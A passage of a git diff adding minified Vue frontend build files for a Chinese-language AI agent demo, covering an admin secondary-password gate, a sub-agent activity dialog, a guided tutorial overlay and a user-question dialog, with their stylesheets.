secondary-card--guide"},S={class:"secondary-actions"},C=["disabled"],j={key:0,class:"secondary-error"},x={key:1,class:"secondary-card"},B={class:"muted"},_=["disabled"],$={class:"secondary-actions"},N=["disabled"],V=["disabled"],E={key:0,class:"secondary-error"},T=p({__name:"SecondaryGate",props:{configured:{type:Boolean},loading:{type:Boolean},error:{},description:{default:"为保护敏感数据,需二级校验后查看。"}},emits:["verify","recheck"],setup(e,{emit:u}){const o=e,n=u,f=l(""),v=()=>{o.loading||n("verify",f.value)};return(t,a)=>(c(),r("div",w,[e.configured?(c(),r("div",x,[a[4]||(a[4]=s("h3",null,"请输入管理员二级密码",-1)),s("p",B,i(e.description),1),h(s("input",{class:"secondary-input",type:"password","onUpdate:modelValue":a[1]||(a[1]=d=>f.value=d),disabled:e.loading,placeholder:"二级密码",onKeyup:g(v,["enter"])},null,40,_),[[m,f.value]]),s("div",$,[s("button",{type:"button",disabled:e.loading,onClick:v},i(e.loading?"校验中...":"确认进入"),9,N),s("button",{type:"button",class:"ghost-btn",disabled:e.loading,onClick:a[2]||(a[2]=d=>t.$emit("recheck"))}," 重新检测 ",8,V)]),e.error?(c(),r("p",E,i(e.error),1)):y("",!0)])):(c(),r("div",q,[a[3]||(a[3]=b('

尚未设置二级密码

管理面板的敏感操作(邀请码、密码管理、策略配置等)由二级密码保护。 当前服务端尚未配置二级密码,请先完成设置:

  1. 在服务器上生成密码哈希:python3 -c "from werkzeug.security import generate_password_hash; print(generate_password_hash('你的二级密码'))"
  2. 将输出写入 settings.json 的 admin 段:"admin": { "secondary_password_hash": "pbkdf2:sha256:..." }
  3. 重启服务,然后点击下方「重新检测」。
',3)),s("div",S,[s("button",{type:"button",disabled:e.loading,onClick:a[0]||(a[0]=d=>t.$emit("recheck"))},i(e.loading?"检测中...":"重新检测"),9,C)]),e.error?(c(),r("p",j,i(e.error),1)):y("",!0)]))]))}}),K=k(T,[["__scopeId","data-v-8ef6b7ca"]]);export{K as S,G as u}; diff --git a/demo/static/dist/assets/SubAgentActivityDialog.css b/demo/static/dist/assets/SubAgentActivityDialog.css new file mode 100644 index 0000000..fdb7fda --- /dev/null +++ b/demo/static/dist/assets/SubAgentActivityDialog.css @@ -0,0 +1 @@ +.subagent-output-section[data-v-eb11d38b]{margin-bottom:16px}.subagent-output-title[data-v-eb11d38b],.subagent-activity-list-title[data-v-eb11d38b]{font-weight:600;font-size:14px;margin-bottom:8px;color:var(--text-primary)}.subagent-output-list[data-v-eb11d38b]{display:flex;flex-direction:column;gap:8px}.subagent-output-item[data-v-eb11d38b]{display:block;cursor:pointer}.subagent-output-content[data-v-eb11d38b]{color:var(--text-primary);white-space:pre-wrap;word-break:break-word;line-height:1.5;text-align:left;overflow:hidden;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical}.subagent-output-item.expanded .subagent-output-content[data-v-eb11d38b]{-webkit-line-clamp:unset;display:block} diff --git a/demo/static/dist/assets/SubAgentActivityDialog.js b/demo/static/dist/assets/SubAgentActivityDialog.js new file mode 100644 index 0000000..ff46ca8 --- /dev/null +++ b/demo/static/dist/assets/SubAgentActivityDialog.js @@ -0,0 +1 @@ +import{d as G,b as o,e as O,s as V,u,c,A as j,g as r,t as l,n as b,f as _,F as A,r as K,T as M,k as T,l as m}from"./runtime-dom.esm-bundler.js";import{j as R,s as H}from"./main.js";import{_ as J}from"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const P={class:"subagent-activity-modal"},Q={class:"subagent-activity-header"},U={class:"subagent-activity-title"},W={class:"subagent-activity-meta"},X={key:0,class:"subagent-activity-summary"},Y={key:0,class:"subagent-activity-actions"},Z=["disabled"],tt={key:0,class:"subagent-activity-error"},et={class:"subagent-activity-body"},st={key:0,class:"subagent-activity-error"},at={key:1,class:"subagent-activity-empty"},nt={key:2,class:"subagent-activity-list"},ot=["onClick"],it={key:0,class:"subagent-output-content"},ct={class:"subagent-activity-text"},ut=G({__name:"SubAgentActivityDialog",setup(rt){const v=R(),{activeAgent:i,activityEntries:I,activityLoading:L,activityError:y,stoppingTaskIds:E}=H(v),p=T(""),f=T(new Set),S=()=>{v.closeSubAgent()},q=e=>e==="running"||e==="in_progress"?"running":e==="completed"||e==="done"||e==="success"?"completed":e==="failed"||e==="error"?"failed":e||"running",B=e=>{const s=e.tool||"",t=e.args||{};return s==="read_file"?`阅读 ${t.path||t.file_path||""}`:s==="write_file"?`写入文件 ${t.file_path||t.path||""}`:s==="read_skill"?`阅读技能 ${t.skill_name||""}`:s==="web_search"?`在互联网中搜索 ${t.query||t.q||""}`:s==="extract_webpage"?`在互联网中提取 ${t.url||""}`:s==="run_command"?`运行命令 ${t.command||""}`:s==="edit_file"?`编辑 ${t.path||t.file_path||""}`:s==="read_mediafile"?`读取媒体文件 ${t.path||t.file_path||""}`:`${s||"工具"}`},N=m(()=>{var e;return(e=i.value)!=null&&e.task_id?!$(i.value.status):!1}),g=m(()=>{var s,t;const e=(s=i.value)==null?void 0:s.task_id;return e?!!((t=E.value)!=null&&t[e]):!1}),z=async()=>{var t;const e=(t=i.value)==null?void 0:t.task_id;if(!e||g.value)return;p.value="";const s=await v.terminateSubAgent(e);s!=null&&s.success||(p.value=(s==null?void 0:s.error)||"停止失败")},$=e=>{const s=(e||"").toString().toLowerCase();return["completed","failed","timeout","terminated","cancelled"].includes(s)},D=e=>{const s=new Set(f.value);s.has(e)?s.delete(e):s.add(e),f.value=s},F=e=>{e.kind==="output"&&D(e.key)},x=m(()=>{const e=I.value||[],s=[];let t=null;const n=()=>{t&&(s.push(t),t=null)};return e.forEach((a,d)=>{if((a==null?void 0:a.type)==="progress"&&(a==null?void 0:a.subtype)==="output"&&typeof a.content=="string"){n(),s.push({kind:"output",key:`output-${a.ts||d}`,content:a.content,isFinal:!!a.is_final});return}if(!a||a.type!=="progress"||!a.tool)return;const k=a.id||`${a.tool}-${a.ts||d}`;if(t&&(t.entry.id===a.id||t.key===k)&&!$(t.entry.status)){t.entry={...t.entry,...a};return}n();let h=k,w=0;for(;s.some(C=>C.kind==="tool"&&C.key===h);)w++,h=`${k}--${w}`;t={kind:"tool",key:h,entry:{...a}}}),n(),s.map(a=>{if(a.kind==="output")return a;const d=q(a.entry.status);return{kind:"tool",key:a.key,state:d,stateLabel:d==="completed"?"完成":d==="failed"?"失败":"进行中",text:B(a.entry)}})});return(e,s)=>(o(),O(M,{name:"overlay-fade"},{default:V(()=>[u(i)?(o(),c("div",{key:0,class:"subagent-activity-overlay",onClick:j(S,["self"])},[r("div",P,[r("div",Q,[r("div",U," 子智能体 #"+l(u(i).agent_id||u(i).task_id)+" 进度 ",1),r("button",{type:"button",class:"subagent-activity-close",onClick:S},"×")]),r("div",W,[r("span",{class:b(["subagent-activity-status",u(i).status||""])},l(u(i).status||"running"),3),u(i).summary?(o(),c("span",X,l(u(i).summary),1)):_("",!0)]),N.value?(o(),c("div",Y,[r("button",{type:"button",class:"subagent-stop-btn",disabled:g.value,onClick:z},l(g.value?"停止中...":"手动停止"),9,Z),p.value?(o(),c("span",tt,l(p.value),1)):_("",!0)])):_("",!0),r("div",et,[u(y)?(o(),c("div",st,l(u(y)),1)):x.value.length?(o(),c("div",nt,[(o(!0),c(A,null,K(x.value,t=>(o(),c("div",{key:t.key,class:b(["subagent-activity-item",{"subagent-output-item":t.kind==="output",expanded:t.kind==="output"&&f.value.has(t.key)}]),onClick:n=>F(t)},[t.kind==="output"?(o(),c("div",it,l(t.content),1)):(o(),c(A,{key:1},[r("span",ct,l(t.text),1),r("span",{class:b(["subagent-activity-state",t.state])},l(t.stateLabel),3)],64))],10,ot))),128))])):(o(),c("div",at,l(u(L)?"正在读取子智能体活动...":"暂无活动记录"),1))])])])):_("",!0)]),_:1}))}}),ft=J(ut,[["__scopeId","data-v-eb11d38b"]]);export{ft as default}; diff --git a/demo/static/dist/assets/TutorialOverlay.js b/demo/static/dist/assets/TutorialOverlay.js new file mode 100644 index 0000000..2afe645 --- /dev/null +++ b/demo/static/dist/assets/TutorialOverlay.js @@ -0,0 +1 @@ +import{d as At,w as Bt,N as O,o as Et,a as Ht,u as Y,b as d,c as f,g as y,A as T,y as M,f as x,t as N,n as Wt,k as _,l as u}from"./runtime-dom.esm-bundler.js";import{d as Lt,s as Rt}from"./main.js";import"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const Dt={class:"tutorial-popover__header"},Yt={class:"tutorial-popover__step"},Nt={class:"tutorial-popover__title"},Pt={class:"tutorial-popover__desc"},It={key:0,class:"tutorial-popover__warn"},zt={key:1,class:"tutorial-popover__hint"},qt={key:2,class:"tutorial-popover__hint"},Vt={class:"tutorial-popover__actions"},Gt=["disabled"],X=14,U=2,Kt=At({name:"TutorialOverlay",__name:"TutorialOverlay",setup(Ot){const b=Lt(),{running:E,activeStep:i,visibleStepIndex:it,totalVisibleSteps:rt}=Rt(b),K=_(null),c=_(null),S=_(120),C=_(120),$=_("center"),H=_(null);let P=null,m=null,I=null;const p=_(!0),W=u(()=>{var t;return((t=i.value)==null?void 0:t.mode)==="must_click"}),st=u(()=>{var t;return((t=i.value)==null?void 0:t.id)==="done"}),ut=u(()=>{var t;return!!((t=i.value)!=null&&t.target)&&!c.value}),L=u(()=>!!c.value),Q=u(()=>W.value&&!!c.value),j=u(()=>{var e;const t=((e=i.value)==null?void 0:e.id)||"";return t==="personal-overview"||t==="open-personal-space"||t==="close-personal-space"||t.startsWith("tab-")||t.startsWith("page-")}),ct=u(()=>j.value),vt=u(()=>st.value?"完成":W.value?c.value?"请先点击高亮目标":"下一步(跳过)":"下一步"),z=u(()=>({pointerEvents:"auto"})),R=u(()=>{if(!c.value)return null;const t=Math.max(0,c.value.top-U),e=Math.max(0,c.value.left-U),o=Math.max(12,c.value.width+U*2),l=Math.max(12,c.value.height+U*2);return{top:t,left:e,width:o,height:l,right:e+o,bottom:t+l}}),pt=u(()=>{const t=R.value;return t?{top:"0px",left:"0px",width:"100vw",height:`${Math.max(0,t.top)}px`}:{}}),ht=u(()=>{const t=R.value;return t?{top:`${t.top}px`,left:"0px",width:`${Math.max(0,t.left)}px`,height:`${t.height}px`}:{}}),dt=u(()=>{const t=R.value;return t?{top:`${t.top}px`,left:`${t.right}px`,width:`${Math.max(0,window.innerWidth-t.right)}px`,height:`${t.height}px`}:{}}),ft=u(()=>{const t=R.value;return t?{top:`${t.bottom}px`,left:"0px",width:"100vw",height:`${Math.max(0,window.innerHeight-t.bottom)}px`}:{}}),mt=u(()=>{const t=R.value;return t?{top:`${t.top}px`,left:`${t.left}px`,width:`${t.width}px`,height:`${t.height}px`}:{}}),wt=u(()=>({top:`${S.value}px`,left:`${C.value}px`})),Z=()=>{var s,a;if(!((s=i.value)!=null&&s.target))return b.setActiveSelector(null),null;const t=Array.from(document.querySelectorAll(i.value.target)),e=window.innerWidth,o=window.innerHeight,n=((a=t.map(r=>{const v=r.getBoundingClientRect(),D=window.getComputedStyle(r),w=Math.max(0,v.width)*Math.max(0,v.height),V=Math.max(0,Math.min(v.right,e)-Math.max(v.left,0)),G=Math.max(0,Math.min(v.bottom,o)-Math.max(v.top,0)),g=V*G;return{node:r,rect:v,area:w,visibleArea:g,display:D.display,visibility:D.visibility,opacity:Number(D.opacity||"1")}}).filter(r=>r.area<=0||r.visibleArea<=0||r.display==="none"||r.visibility==="hidden"?!1:r.opacity>.01).sort((r,v)=>v.visibleArea!==r.visibleArea?v.visibleArea-r.visibleArea:r.area-v.area)[0])==null?void 0:a.node)||null;return b.setActiveSelector(i.value.target),n},A=(t,e,o)=>Math.min(Math.max(t,e),o),tt=t=>{var V,G;const e=K.value;if(!e)return;const o=Math.max(280,e.offsetWidth||320),l=Math.max(170,e.offsetHeight||200),n=window.innerWidth,s=window.innerHeight,a=16;if(!t||((V=i.value)==null?void 0:V.placement)==="center"){$.value="center",C.value=A((n-o)/2,a,Math.max(a,n-o-a)),S.value=A((s-l)/2,a,Math.max(a,s-l-a));return}const r=((G=i.value)==null?void 0:G.placement)||"auto",v={top:t.top,right:n-t.right,bottom:s-t.bottom,left:t.left},D=r==="auto"?["right","bottom","left","top"].sort((g,h)=>v[h]-v[g]):[r,"right","bottom","left","top"];let w=null;for(const g of Array.from(new Set(D))){let h=0,k=0;g==="right"?(k=t.right+X,h=t.top+t.height/2-l/2):g==="left"?(k=t.left-o-X,h=t.top+t.height/2-l/2):g==="top"?(k=t.left+t.width/2-o/2,h=t.top-l-X):(k=t.left+t.width/2-o/2,h=t.bottom+X);const F=A(k,a,Math.max(a,n-o-a)),J=A(h,a,Math.max(a,s-l-a)),St=k>=a&&h>=a&&k+o<=n-a&&h+l<=s-a,Ct=Math.max(0,Math.min(F+o,t.right)-Math.max(F,t.left)),$t=Math.max(0,Math.min(J+l,t.bottom)-Math.max(J,t.top)),nt=Ct*$t;if(St){$.value=g,C.value=k,S.value=h;return}(!w||nt{var o;if(!E.value){c.value=null;return}const t=Z();if(!t){c.value=null,$.value=((o=i.value)==null?void 0:o.placement)||"center",tt(null);return}const e=t.getBoundingClientRect();c.value=e.width>0&&e.height>0?{top:e.top,left:e.left,width:e.width,height:e.height,right:e.right,bottom:e.bottom}:null,tt(c.value)},q=()=>{window.setTimeout(B,30)},gt=()=>{p.value=!1,c.value=null,C.value=-9999,S.value=-9999,m&&(window.clearTimeout(m),m=null)},et=t=>{var o;if(!E.value||!W.value||!((o=i.value)!=null&&o.target))return;const e=t.target;e&&e.closest(i.value.target)&&window.setTimeout(()=>b.goNext(),280)},ot=()=>{const e=Array.from(document.querySelectorAll(".personalization-content .personal-page")).find(l=>l.scrollHeight-l.clientHeight>2);if(e)return e;const o=document.querySelector(".personalization-content");return o&&o.scrollHeight-o.clientHeight>2?o:document.querySelector('[data-tutorial="personal-content-shell"]')||o},yt=t=>{if(!j.value){t.preventDefault();return}const e=ot();if(!e){t.preventDefault();return}e.scrollBy({top:t.deltaY,left:0,behavior:"auto"}),t.preventDefault()},xt=t=>{t.touches.length&&(I=t.touches[0].clientY)},bt=t=>{if(!t.touches.length)return;const e=t.touches[0].clientY,l=(I??e)-e;if(I=e,!j.value){t.preventDefault();return}const n=ot();if(!n){t.preventDefault();return}n.scrollBy({top:l,left:0,behavior:"auto"}),t.preventDefault()},lt=()=>{I=null},at=t=>{if(!t)return;const e=t.getBoundingClientRect(),o=e.left+e.width/2,l=e.top+e.height/2;H.value={x:o,y:l},window.setTimeout(()=>{H.value=null},460)},kt=()=>i.value?i.value.id.startsWith("tab-")?!0:window.innerWidth<=768&&i.value.id==="mobile-menu-personal":!1,Tt=()=>{var o,l,n;if((o=i.value)!=null&&o.autoOutsideClick){const a=document.querySelector(".model-mode-dropdown")||document.body;return at(a),window.setTimeout(()=>{const r=new MouseEvent("click",{bubbles:!0,cancelable:!0,clientX:12,clientY:12});document.body.dispatchEvent(r)},420),!0}if(!((l=i.value)!=null&&l.autoClick)||!((n=i.value)!=null&&n.target))return!1;const t=Z();if(!t)return!1;const e=kt();if(e){const s=window.innerWidth<=768;t.scrollIntoView({behavior:"smooth",block:s?"nearest":"center",inline:s?"center":"nearest"})}return window.setTimeout(()=>{at(t)},e?220:0),window.setTimeout(()=>{t.click()},e?640:420),!0},Mt=()=>{var t;if(!Q.value){if(gt(),((t=i.value)==null?void 0:t.id)==="done"){b.finishTutorial();return}if(!W.value&&Tt()){window.setTimeout(()=>b.goNext(),700);return}b.goNext()}},_t=()=>b.exitTutorial();return Bt(()=>{var t;return[E.value,(t=i.value)==null?void 0:t.id]},async([,t],[e,o])=>{if(!E.value){c.value=null,p.value=!0;return}if(!!e&&!!o&&o!==t){p.value=!1,m&&window.clearTimeout(m);const n=i.value,s=(n==null?void 0:n.mode)==="must_click"||n!=null&&n.autoClick||n!=null&&n.autoOutsideClick?500:0;m=window.setTimeout(async()=>{await O(),B(),await O(),B(),p.value=!0},s);return}await O(),B(),await O(),B(),p.value=!0}),Et(()=>{window.addEventListener("click",et,!0),window.addEventListener("resize",q),window.addEventListener("scroll",q,!0),P=window.setInterval(B,260)}),Ht(()=>{window.removeEventListener("click",et,!0),window.removeEventListener("resize",q),window.removeEventListener("scroll",q,!0),P&&(window.clearInterval(P),P=null),m&&(window.clearTimeout(m),m=null)}),(t,e)=>{var o,l;return Y(E)?(d(),f("div",{key:0,class:"tutorial-overlay","aria-live":"polite",onWheel:yt,onTouchstart:xt,onTouchmove:T(bt,["prevent"]),onTouchend:lt,onTouchcancel:lt},[y("div",{class:"tutorial-click-blocker",onClick:e[0]||(e[0]=T(()=>{},["stop"]))}),p.value&&L.value?(d(),f("div",{key:0,class:"tutorial-mask",style:M([pt.value,z.value]),onClick:e[1]||(e[1]=T(()=>{},["stop"]))},null,4)):x("",!0),p.value&&L.value?(d(),f("div",{key:1,class:"tutorial-mask",style:M([ht.value,z.value]),onClick:e[2]||(e[2]=T(()=>{},["stop"]))},null,4)):x("",!0),p.value&&L.value?(d(),f("div",{key:2,class:"tutorial-mask",style:M([dt.value,z.value]),onClick:e[3]||(e[3]=T(()=>{},["stop"]))},null,4)):x("",!0),p.value&&L.value?(d(),f("div",{key:3,class:"tutorial-mask",style:M([ft.value,z.value]),onClick:e[4]||(e[4]=T(()=>{},["stop"]))},null,4)):x("",!0),p.value&&L.value?(d(),f("div",{key:4,class:"tutorial-highlight",style:M(mt.value),"aria-hidden":"true"},null,4)):x("",!0),H.value?(d(),f("span",{key:5,class:"tutorial-click-effect",style:M({left:`${H.value.x-9}px`,top:`${H.value.y-9}px`}),"aria-hidden":"true"},null,4)):x("",!0),y("section",{ref_key:"panelRef",ref:K,class:Wt(["tutorial-popover",[`placement-${$.value}`,{"is-hidden":!p.value}]]),style:M(wt.value),onClick:e[5]||(e[5]=T(()=>{},["stop"]))},[y("header",Dt,[y("span",Yt,N(Y(it))+" / "+N(Y(rt)),1),y("button",{type:"button",class:"tutorial-popover__close",onClick:_t},"退出")]),y("h3",Nt,N(((o=Y(i))==null?void 0:o.title)||"新手教程"),1),y("p",Pt,N(((l=Y(i))==null?void 0:l.description)||""),1),ut.value?(d(),f("p",It," 未找到目标元素,可稍后重试或跳过当前步骤。 ")):W.value?(d(),f("p",zt,"请点击高亮目标继续。")):x("",!0),ct.value?(d(),f("p",qt," 提示:个人空间内容可上下滚动查看。 ")):x("",!0),y("footer",Vt,[y("button",{type:"button",class:"tutorial-btn",disabled:Q.value,onClick:Mt},N(vt.value),9,Gt)])],6)],32)):x("",!0)}}});export{Kt as default}; diff --git a/demo/static/dist/assets/UserQuestionDialog.css b/demo/static/dist/assets/UserQuestionDialog.css new file mode 100644 index 0000000..6d0398d --- /dev/null +++ b/demo/static/dist/assets/UserQuestionDialog.css @@ -0,0 +1 @@ +.user-question-overlay[data-v-600bab99]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1300;display:flex;align-items:center;justify-content:center;padding:20px;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}.user-question-card[data-v-600bab99]{position:relative;width:min(800px,calc(100vw - 36px));height:min(520px,calc(100vh - 36px));height:min(520px,calc(100dvh - 36px));max-height:min(520px,calc(100vh - 36px));max-height:min(520px,calc(100dvh - 36px));display:flex;flex-direction:column;color:var(--text-primary);background:var(--theme-surface-card);border:1px solid var(--theme-control-border);border-radius:20px;overflow:hidden}.user-question-windowbar[data-v-600bab99]{height:42px;flex:0 0 42px;display:grid;grid-template-columns:56px 1fr 56px;align-items:center;border-bottom:1px solid var(--theme-control-border);background:color-mix(in srgb,var(--theme-surface-soft) 92%,var(--surface-rail) 8%)}.user-question-traffic[data-v-600bab99]{display:inline-flex;gap:8px;padding-left:16px;align-items:center}.traffic-dot[data-v-600bab99]{width:12px;height:12px;border-radius:50%;border:1px solid var(--border-strong);padding:0;cursor:pointer}.traffic-dot--close[data-v-600bab99]{background:var(--mac-close)}.user-question-window-title[data-v-600bab99]{text-align:center;font-size:13px;font-weight:600;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.user-question-header[data-v-600bab99]{display:flex;justify-content:space-between;gap:12px;align-items:center;padding:20px 22px 0;flex-shrink:0}.user-question-kicker-row[data-v-600bab99]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-bottom:5px;width:100%}.user-question-kicker[data-v-600bab99]{color:var(--text-secondary);font-size:12px}.user-question-title-block[data-v-600bab99]{min-width:0;width:100%}.user-question-header h2[data-v-600bab99]{margin:0;font-size:16px;line-height:1.55;font-weight:650;letter-spacing:-.01em;white-space:pre-wrap;max-height:min(180px,30vh);overflow-y:auto}.user-question-nav[data-v-600bab99]{display:inline-flex;gap:4px}.user-question-nav button[data-v-600bab99]{width:20px;height:20px;border-radius:6px;border:1px solid var(--theme-control-border);background:transparent;color:var(--text-secondary);cursor:pointer;display:grid;place-items:center}.user-question-nav svg[data-v-600bab99]{width:13px;height:13px;stroke-width:2}.user-question-nav button[data-v-600bab99]:hover:not(:disabled){background:var(--hover-bg);color:var(--text-primary)}.user-question-nav button[data-v-600bab99]:disabled{opacity:.38;cursor:not-allowed}.user-question-body[data-v-600bab99]{flex:1 1 auto;min-height:0;overflow:auto;scrollbar-width:none;-ms-overflow-style:none;display:flex;flex-direction:column;gap:12px;padding:14px 22px 18px}.user-question-body[data-v-600bab99]::-webkit-scrollbar,.user-question-textarea[data-v-600bab99]::-webkit-scrollbar{display:none}.user-question-context[data-v-600bab99]{margin:0;color:var(--text-secondary);line-height:1.6;font-size:13px;white-space:pre-wrap;max-height:min(160px,25vh);overflow-y:auto}.user-question-options[data-v-600bab99]{display:grid;gap:7px}.user-question-option[data-v-600bab99]{border:1px solid var(--theme-control-border);border-radius:12px;background:transparent;color:var(--text-primary);padding:9px 11px;text-align:left;cursor:pointer;display:flex;flex-direction:column;gap:2px}.user-question-option[data-v-600bab99]:hover{background:var(--hover-bg)}.user-question-option.active[data-v-600bab99]{border-color:var(--theme-control-border-strong);background:var(--theme-tab-active)}.user-question-option__label[data-v-600bab99]{font-weight:600;font-size:13px}.user-question-option__desc[data-v-600bab99]{color:var(--text-secondary);font-size:12px;line-height:1.42;white-space:pre-wrap}.user-question-textarea-wrap[data-v-600bab99]{display:flex}.user-question-body--no-options .user-question-textarea-wrap[data-v-600bab99]{margin-top:auto}.user-question-textarea[data-v-600bab99]{width:100%;resize:none;min-height:76px;max-height:150px;overflow:auto;scrollbar-width:none;-ms-overflow-style:none;border:1px solid var(--theme-control-border);border-radius:12px;padding:10px 11px;color:var(--text-primary);background:var(--theme-surface-soft);outline:none;font:inherit;font-size:13px;line-height:1.5;-moz-appearance:none;appearance:none;-webkit-appearance:none}.user-question-textarea[data-v-600bab99]:focus{border-color:var(--theme-control-border-strong);background:var(--theme-surface-strong)}.user-question-footer[data-v-600bab99]{height:54px;flex:0 0 54px;display:flex;justify-content:space-between;align-items:center;gap:12px;padding:0 18px;border-top:1px solid var(--theme-control-border);background:color-mix(in srgb,var(--theme-surface-soft) 92%,var(--surface-rail) 8%)}.user-question-spacer[data-v-600bab99]{flex:1 1 auto}.user-question-actions[data-v-600bab99]{display:flex;gap:8px}.user-question-btn[data-v-600bab99]{min-width:72px;border-radius:9px;padding:7px 12px;font-size:13px;font-weight:600;cursor:pointer;border:1px solid var(--theme-control-border-strong)}.user-question-btn.ghost[data-v-600bab99]{background:transparent;color:var(--text-secondary)}.user-question-btn.ghost[data-v-600bab99]:hover{background:var(--hover-bg);color:var(--text-primary)}.user-question-btn.primary[data-v-600bab99]{background:var(--accent);border-color:var(--accent-strong);color:var(--on-accent)}.user-question-btn.primary[data-v-600bab99]:hover:not(:disabled){background:var(--accent-hover)}.user-question-btn[data-v-600bab99]:disabled{opacity:.5;cursor:not-allowed}.user-question-fade-enter-active[data-v-600bab99],.user-question-fade-leave-active[data-v-600bab99]{transition:opacity .16s ease}.user-question-fade-enter-active .user-question-card[data-v-600bab99],.user-question-fade-leave-active .user-question-card[data-v-600bab99]{transition:transform .16s ease}.user-question-fade-enter-from[data-v-600bab99],.user-question-fade-leave-to[data-v-600bab99]{opacity:0}.user-question-fade-enter-from .user-question-card[data-v-600bab99],.user-question-fade-leave-to .user-question-card[data-v-600bab99]{transform:translateY(6px) scale(.99)}@media (max-width: 620px){.user-question-overlay[data-v-600bab99]{padding:12px}.user-question-card[data-v-600bab99]{width:100%;max-height:calc(100vh - 24px);max-height:calc(100dvh - 24px)}} diff --git a/demo/static/dist/assets/UserQuestionDialog.js b/demo/static/dist/assets/UserQuestionDialog.js new file mode 100644 index 0000000..aed06f1 --- /dev/null +++ b/demo/static/dist/assets/UserQuestionDialog.js @@ -0,0 +1 @@ +import{d as A,w as D,b as o,e as K,s as S,c as l,A as y,g as t,t as r,f as q,n as C,F as j,r as N,h as Q,z as B,j as T,T as U,x as V,l as d}from"./runtime-dom.esm-bundler.js";import{_ as E}from"./_plugin-vue_export-helper.js";const F={class:"user-question-card",role:"dialog","aria-modal":"true","aria-label":"需要你回答一个问题"},O={class:"user-question-windowbar"},L={class:"user-question-traffic","aria-label":"窗口控制"},G={class:"user-question-header"},H={class:"user-question-title-block"},J={key:0,class:"user-question-kicker-row"},P={class:"user-question-kicker"},R={class:"user-question-nav","aria-label":"问题切换"},W=["disabled"],X=["disabled"],Y={key:0,class:"user-question-context"},Z={key:1,class:"user-question-options"},ee=["onClick"],te={class:"user-question-option__label"},se={key:0,class:"user-question-option__desc"},ie={class:"user-question-textarea-wrap"},ne=["onKeydown"],oe={class:"user-question-footer"},ae=["disabled"],ue={class:"user-question-actions"},le=["disabled"],re=A({__name:"UserQuestionDialog",props:{visible:{type:Boolean},questions:{},activeIndex:{},submittingIds:{}},emits:["minimize","update:active-index","submit","dismiss"],setup(c,{emit:I}){const n=c,m=I,a=V({}),f=(s,e)=>String((s==null?void 0:s.question_id)||`idx_${e}`);D(()=>n.questions,s=>{(s||[]).forEach((e,i)=>{const _=f(e,i);a[_]||(a[_]={selected_option_id:"",text:""})})},{immediate:!0,deep:!0});const v=d(()=>{const s=Math.max(0,(n.questions||[]).length-1);return Math.min(Math.max(0,Number(n.activeIndex||0)),s)}),u=d(()=>n.questions[v.value]||{}),h=d(()=>Array.isArray(u.value.options)?u.value.options:[]),k=d(()=>f(u.value,v.value)),p=d(()=>(a[k.value]||(a[k.value]={selected_option_id:"",text:""}),a[k.value])),b=d(()=>(n.submittingIds||[]).length>0),M=s=>{const e=n.questions[s],i=a[f(e,s)];return!!(i&&(i.selected_option_id||i.text.trim()))},g=d(()=>(n.questions||[]).every((s,e)=>M(e)));function w(s){m("update:active-index",v.value+s)}function $(s){p.value.selected_option_id=p.value.selected_option_id===s?"":s}function x(){if(!g.value||b.value)return;const s=(n.questions||[]).map((e,i)=>{const _=a[f(e,i)]||{selected_option_id:"",text:""};return{question_id:e.question_id,selected_option_id:_.selected_option_id||void 0,text:_.text.trim()}});m("submit",s)}function z(){var e;if(b.value)return;const s=String(((e=u.value)==null?void 0:e.question_id)||"").trim();s&&m("dismiss",s)}return(s,e)=>(o(),K(U,{name:"user-question-fade",appear:""},{default:S(()=>[c.visible&&c.questions.length?(o(),l("div",{key:0,class:"user-question-overlay",onClick:e[4]||(e[4]=y(i=>m("minimize"),["self"]))},[t("section",F,[t("header",O,[t("div",L,[t("button",{type:"button",class:"traffic-dot traffic-dot--close","aria-label":"暂时收起",onClick:e[0]||(e[0]=i=>m("minimize"))})]),e[5]||(e[5]=t("div",{class:"user-question-window-title"},"需要你确认",-1))]),t("header",G,[t("div",H,[c.questions.length>1?(o(),l("div",J,[t("span",P,"问题 "+r(v.value+1)+" / "+r(c.questions.length),1),t("span",R,[t("button",{type:"button",disabled:v.value<=0,onClick:e[1]||(e[1]=i=>w(-1)),"aria-label":"上一个问题"},[...e[6]||(e[6]=[t("svg",{viewBox:"0 0 20 20",fill:"none",stroke:"currentColor","stroke-linecap":"round","stroke-linejoin":"round"},[t("path",{d:"M12 5l-5 5 5 5"})],-1)])],8,W),t("button",{type:"button",disabled:v.value>=c.questions.length-1,onClick:e[2]||(e[2]=i=>w(1)),"aria-label":"下一个问题"},[...e[7]||(e[7]=[t("svg",{viewBox:"0 0 20 20",fill:"none",stroke:"currentColor","stroke-linecap":"round","stroke-linejoin":"round"},[t("path",{d:"M8 5l5 5-5 5"})],-1)])],8,X)])])):q("",!0),t("h2",null,r(u.value.question),1)])]),t("div",{class:C(["user-question-body",{"user-question-body--no-options":!h.value.length}])},[u.value.context?(o(),l("p",Y,r(u.value.context),1)):q("",!0),h.value.length?(o(),l("div",Z,[(o(!0),l(j,null,N(h.value,i=>(o(),l("button",{key:i.id,type:"button",class:C(["user-question-option",{active:p.value.selected_option_id===i.id}]),onClick:_=>$(i.id)},[t("span",te,r(i.label),1),i.description?(o(),l("span",se,r(i.description),1)):q("",!0)],10,ee))),128))])):q("",!0),t("div",ie,[Q(t("textarea",{"onUpdate:modelValue":e[3]||(e[3]=i=>p.value.text=i),class:"user-question-textarea",rows:"3",placeholder:"输入文字回答…",spellcheck:"false",onKeydown:[B(y(x,["meta","prevent"]),["enter"]),B(y(x,["ctrl","prevent"]),["enter"])]},null,40,ne),[[T,p.value.text]])])],2),t("footer",oe,[t("button",{type:"button",class:"user-question-btn ghost",disabled:b.value,title:"不回答当前这个问题,AI 将改为在对话中直接提问",onClick:z}," ✕ 不回答 ",8,ae),e[8]||(e[8]=t("div",{class:"user-question-spacer"},null,-1)),t("div",ue,[t("button",{type:"button",class:"user-question-btn primary",disabled:!g.value||b.value,onClick:x},r(b.value?"提交中...":"确定"),9,le)])])])])):q("",!0)]),_:1}))}}),ve=E(re,[["__scopeId","data-v-600bab99"]]);export{ve as default}; diff --git a/demo/static/dist/assets/VersioningDialog.css b/demo/static/dist/assets/VersioningDialog.css new file mode 